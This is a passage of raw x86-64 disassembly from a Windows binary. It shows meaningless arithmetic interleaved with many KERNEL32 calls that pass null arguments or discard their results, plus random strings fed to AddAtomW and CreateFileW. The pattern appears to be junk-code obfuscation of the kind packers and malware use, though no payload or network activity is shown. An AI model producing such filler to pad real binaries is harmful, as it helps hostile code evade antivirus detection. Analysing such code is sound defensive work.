movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3f0], al
mov rcx, qword [rsp + 0xe298]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe778]
mov rcx, qword [rsp + 0xe548]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5758], eax
movzx eax, byte [rsp + 0x314]
movzx ecx, byte [rsp + 0x3c3]
add eax, ecx
mov rcx, qword [rsp + 0xd7f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1f9c]
mov rcx, qword [0x1401c8b50]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c7254], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xe160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f20], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6510], eax
mov rax, qword [rsp + 0xd998]
movzx eax, word [rax]
mov word [rsp + 0x2714], ax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9928]
shl rax, cl
mov qword [rsp + 0xab60], rax
movzx eax, byte [rsp + 0x2c2]
mov byte [rsp + 0x41d], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe4f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0xc8e0]
movzx ecx, al
mov rax, qword [rsp + 0xae00]
shr rax, cl
mov qword [rsp + 0xca08], rax
mov rax, qword [0x1401c8a40]
mov ecx, dword [rsp + 0x66a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xce20]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb90]
movsx ecx, word [rsp + 0x2100]
xor eax, ecx
mov word [rsp + 0x1d7c], ax
movzx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0xd530]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xc608]
mov qword [0x1401c8f08], rax
movzx eax, word [rsp + 0x1260]
mov word [rsp + 0x2718], ax
mov rax, qword [rsp + 0xd968]
imul rax, qword [rsp + 0x9790]
mov qword [rsp + 0xe898], rax
mov rax, qword [0x1401c8aa8]
mov rcx, qword [rsp + 0xcc38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb20], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rax, [rsp + 0x13a]
mov qword [rsp + 0xe908], rax
mov rax, qword [rsp + 0xe660]
mov rax, qword [rax]
imul rax, qword [rsp + 0xd7a0]
mov qword [rsp + 0xe690], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xe3c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
or eax, ecx
mov byte [rsp + 0x35b], al
mov rax, qword [rsp + 0xce00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6a54]
sar eax, cl
mov dword [rsp + 0x5cfc], eax
mov rcx, qword [rsp + 0xd5f0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x68e8]
mov dword [rsp + 0x6a80], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe910], rax
movsx eax, word [0x1401c8cd0]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8bf4], ax
mov rax, qword [rsp + 0xe120]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe280]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x22b8], ax
mov rax, qword [rsp + 0xd290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc980]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd290]
mov word [rcx], ax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov word [rsp + 0x271c], ax
movzx ecx, word [rsp + 0x1f58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2640], ax
mov rax, qword [rsp + 0xcf18]
mov rcx, qword [rsp + 0xa5b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d60], rax
lea rax, [0x1401c8e40]
mov qword [rsp + 0xe918], rax
lea rcx, str.LUi.rIumB_9L7_MllsV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2358], ax
mov rax, qword [rsp + 0xd1f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0xe400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2184]
add eax, ecx
mov rcx, qword [rsp + 0xcf00]
mov word [rcx], ax
mov rax, qword [0x1401c8df8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd2d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x868], ax
lea rax, [rsp + 0xab28]
mov qword [0x1401c8f10], rax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc5a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc960], rax
mov rcx, qword [rsp + 0xe460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6a84], eax
mov rax, qword [0x1401c8c58]
mov rax, qword [rax]
mov qword [rsp + 0xe920], rax
mov rax, qword [rsp + 0xe0c0]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0xe508]
idiv qword [rcx]
mov qword [rsp + 0xa800], rax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x20338]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x20fc]
mov rcx, qword [rsp + 0xe610]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xddc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6a88], eax
lea rcx, [rsp + 0x1d700]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rcx, [rsp + 0x202d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe928], rax
mov eax, dword [rsp + 0x6470]
mov rcx, qword [rsp + 0xcdb8]
mov qword [rsp + 0xe930], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe930]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x58c8], eax
lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x63b8], eax
movzx eax, byte [rsp + 0x381]
movzx ecx, byte [rsp + 0x37b]
or eax, ecx
mov byte [rsp + 0x3eb], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.IBbHIsWkUx_rA5J3GIg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe938], rax
mov rax, qword [rsp + 0xe510]
movzx eax, byte [rax]
mov byte [rsp + 0x41e], al
mov rax, qword [rsp + 0xd9e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc730]
shl rax, cl
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5d98]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c8e40], eax
mov rax, qword [0x1401c8b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2164], ax
lea rax, [rsp + 0x1e50]
mov qword [rsp + 0xe940], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx eax, word [rsp + 0x19ac]
mov rcx, qword [rsp + 0xd470]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd8c], ax
mov rax, qword [rsp + 0xd980]
mov rax, qword [rax]
mov rcx, qword [0x1401c8a90]
mov qword [rsp + 0xe948], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe948]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0xe2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6768]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6098], eax
mov rax, qword [rsp + 0xdb28]
movzx eax, byte [rax]
mov byte [rsp + 0x41f], al
mov rax, qword [rsp + 0xca20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe718]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xba30], rax
mov rax, qword [rsp + 0xe400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd358]
mov word [rcx], ax
mov rax, qword [rsp + 0xdcd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd508]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8b0c], ax
movzx ecx, word [rsp + 0x2084]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x267c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd2b8]
mov rax, qword [rax]
mov qword [rsp + 0xe950], rax
movzx eax, word [rsp + 0x22c8]
mov rcx, qword [rsp + 0xd390]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc6d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x6198]
movzx ecx, al
mov eax, dword [rsp + 0x5728]
sar eax, cl
mov dword [rsp + 0x5678], eax
mov rax, qword [rsp + 0xe3c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x20e], al
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x6678]
mov rcx, qword [rsp + 0xcde8]
mov qword [rsp + 0xe958], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe958]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x663c], eax
mov rax, qword [rsp + 0xd2c0]
mov qword [rsp + 0xe960], rax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6a1c], eax
movsx eax, byte [rsp + 0x37f]
movsx ecx, byte [rsp + 0x38e]
imul eax, ecx
mov byte [rsp + 0x32e], al
movsx eax, word [rsp + 0x25c8]
movsx ecx, word [rsp + 0x1d14]
sub eax, ecx
mov word [rsp + 0x1a68], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe310]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe750]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c7258], ax
mov rax, qword [rsp + 0xc580]
mov rcx, qword [rsp + 0xdc70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0xab00]
mov rcx, qword [rsp + 0xe790]
mov qword [rsp + 0xe968], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe968]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb640], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx eax, word [rsp + 0x147c]
mov word [rsp + 0x2720], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rcx, [0x1401ae280]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2724], ax
movzx ecx, word [rsp + 0x23e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff4], ax
movzx eax, word [rsp + 0x2350]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd390]
mov word [rcx], ax
lea rax, [rsp + 0x6634]
mov qword [rsp + 0xe970], rax
mov rax, qword [rsp + 0xbdf8]
movzx ecx, al
mov rax, qword [rsp + 0xe708]
shr rax, cl
mov qword [rsp + 0xc3f0], rax
lea rcx, [rsp + 0x208a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x3cf]
mov byte [rsp + 0x420], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd38], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe978], rax
mov rax, qword [0x1401c8f10]
mov rcx, qword [rsp + 0xac70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf38], rax
mov rax, qword [rsp + 0xe828]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19d4]
sub eax, ecx
mov word [0x1401c8eb8], ax
mov rax, qword [rsp + 0xce38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd530]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e4c], ax
mov rax, qword [rsp + 0xc848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6830]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x59e0], eax
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2270], ax
movzx eax, byte [rsp + 0x400]
mov rcx, qword [rsp + 0xe070]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x38d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xdfc0]
mov qword [rsp + 0xe980], rax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5e38]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a1c], eax
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2728], ax
mov rax, qword [section..data]
movzx ecx, al
mov rax, qword [rsp + 0xd6e0]
shr rax, cl
mov rcx, qword [rsp + 0xca58]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6808], eax
mov rcx, qword [rsp + 0xe068]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x63]
movsx ecx, byte [rsp + 0x3a2]
sub eax, ecx
mov byte [rsp + 0xf5], al
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26b8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe988], rax
mov rax, qword [rsp + 0xd678]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19d4]
add eax, ecx
mov word [rsp + 0x24a0], ax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov word [0x1401c8f18], ax
lea rcx, [rsp + 0x209c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66cc], eax
mov rax, qword [rsp + 0xd3a8]
mov qword [rsp + 0xe990], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
lea rcx, [rsp + 0x20ab8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x22c8]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ef8], ax
movsx eax, word [rsp + 0x225c]
movsx ecx, word [rsp + 0x1470]
sub eax, ecx
mov word [rsp + 0x22fc], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6834], eax
movzx ecx, word [rsp + 0x1fc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2368], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xcd68]
mov qword [rsp + 0xe998], rax
movsx eax, byte [rsp + 0x23a]
movsx ecx, byte [rsp + 0x245]
imul eax, ecx
mov byte [rsp + 0x418], al
lea rax, [rsp + 0xc820]
mov qword [rsp + 0xe9a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.SEL0T5ZRSYstT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe9a8], rax
mov eax, dword [rsp + 0x58b8]
mov rcx, qword [rsp + 0xc570]
mov qword [rsp + 0xe9b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe9b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6544], eax
mov rax, qword [rsp + 0xd578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a4]
or eax, ecx
mov rcx, qword [rsp + 0xd1b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb4b8]
movzx ecx, al
mov rax, qword [0x1401c7030]
shl rax, cl
mov qword [0x1401c7260], rax
lea rax, [rsp + 0x68ec]
mov qword [rsp + 0xe9b8], rax
movzx eax, byte [rsp + 0x35b]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x408], al
mov rax, qword [rsp + 0xdf60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd78]
add eax, ecx
mov word [rsp + 0x1c24], ax
mov r9d, 0x26da
xor r8d, r8d
lea rdx, [rsp + 0xd388]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x66a8], eax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xccf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf00]
xor eax, ecx
mov word [rsp + 0x1cd4], ax
mov rax, qword [rsp + 0xd590]
movzx eax, byte [rax]
mov byte [rsp + 0x421], al
mov rax, qword [rsp + 0xcd40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6448]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd640]
mov dword [rcx], eax
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6a8c], eax
mov rax, qword [rsp + 0xdc90]
mov rcx, qword [rsp + 0xe198]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa760], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe928], rax
lea rax, [0x1401c8c18]
mov qword [rsp + 0xe9c0], rax
movzx eax, word [rsp + 0x2350]
mov rcx, qword [rsp + 0xd390]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8b10], ax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcfb8]
sar rax, cl
mov qword [rsp + 0xb0d8], rax
mov rax, qword [0x1401c8e18]
mov rcx, qword [rsp + 0xdb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb378], rax
mov rax, qword [rsp + 0xe740]
mov rcx, qword [rsp + 0xc9c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce80], rax
lea rdx, [rsp + 0x26728]
mov rcx, qword [rsp + 0xc538]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x647c], eax
movsx eax, word [rsp + 0xb08]
mov rcx, qword [rsp + 0xe6c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20c0], ax
mov rax, qword [rsp + 0xe010]
mov eax, dword [rax]
mov dword [rsp + 0x6a90], eax
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2004], ax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcba0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe510]
mov byte [rcx], al
lea rcx, [rsp + 0x20ae8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0xe600]
mov rax, qword [rax]
mov qword [rsp + 0xe9c8], rax
mov edx, 0x16e9
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6444], eax
xor r9d, r9d
lea r8, [rsp + 0xd420]
mov rdx, qword [rsp + 0xd9c0]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6a94], eax
lea rcx, [rsp + 0x20458]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movzx eax, byte [str.5qKr]
movzx ecx, byte [rsp + 0x293]
sub eax, ecx
mov byte [rsp + 0x173], al
lea rcx, [rsp + 0x20218]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x6a54]
movzx ecx, al
mov eax, dword [rsp + 0x679c]
sar eax, cl
mov dword [rsp + 0x65dc], eax
movzx eax, word [rsp + 0x22fc]
mov word [0x1401c8f1c], ax
lea rax, [rsp + 0x2188]
mov qword [rsp + 0xe9d0], rax
movzx eax, word [rsp + 0xa20]
mov rcx, qword [rsp + 0xcfb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2378], ax
mov rax, qword [0x1401c8ea0]
mov rcx, qword [rsp + 0xd200]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe90], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe9d8], rax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcf50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbfd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd930], rax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x422], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xda10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59f8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6914], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movsx eax, word [rsp + 0x1b0c]
movsx ecx, word [rsp + 0xa3c]
sub eax, ecx
mov word [rsp + 0x2034], ax
lea rax, [rsp + 0x1fe0]
mov qword [rsp + 0xe9e0], rax
mov rax, qword [0x1401c8e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe1e8]
mov qword [rsp + 0xe9e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe9e8]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401c8e08], rax
movzx eax, word [rsp + 0x1164]
movzx ecx, word [rsp + 0x107c]
sar eax, cl
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x99a0], rax
lea rcx, [rsp + 0x20b18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xc6b8]
movabs rcx, 0x76ac1f3fea639c
mov rax, qword [rax]
imul rax, rcx
mov qword [rsp + 0xa138], rax
mov rax, qword [rsp + 0xd0a8]
mov rcx, qword [rsp + 0xe2e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcdd0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, byte [rsp + 0x3a5]
mov byte [rsp + 0x423], al
lea rdx, [rsp + 0x26760]
mov rcx, qword [rsp + 0xe650]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65bc], eax
mov rax, qword [rsp + 0xcdb8]
mov ecx, dword [rsp + 0x6a60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x67ac], eax
lea rax, [rsp + 0x411]
mov qword [rsp + 0xe9f0], rax
lea rcx, [rsp + 0x207e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [rsp + 0xce50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0xcc68]
mov rcx, qword [rsp + 0xd138]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6490], eax
mov rax, qword [rsp + 0xe828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdab0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8ce8], ax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe9f8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, str.JeRFjo4C
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23f0], ax
mov rax, qword [rsp + 0xd8d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
sar eax, cl
mov word [rsp + 0xdf4], ax
movzx eax, word [rsp + 0x21cc]
mov rcx, qword [rsp + 0xd600]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1ce8], ax
movzx eax, byte [0x1401c700d]
mov byte [rsp + 0x424], al
mov rax, qword [rsp + 0xd190]
mov ecx, dword [rsp + 0x6a90]
mov eax, dword [rax]
and eax, ecx
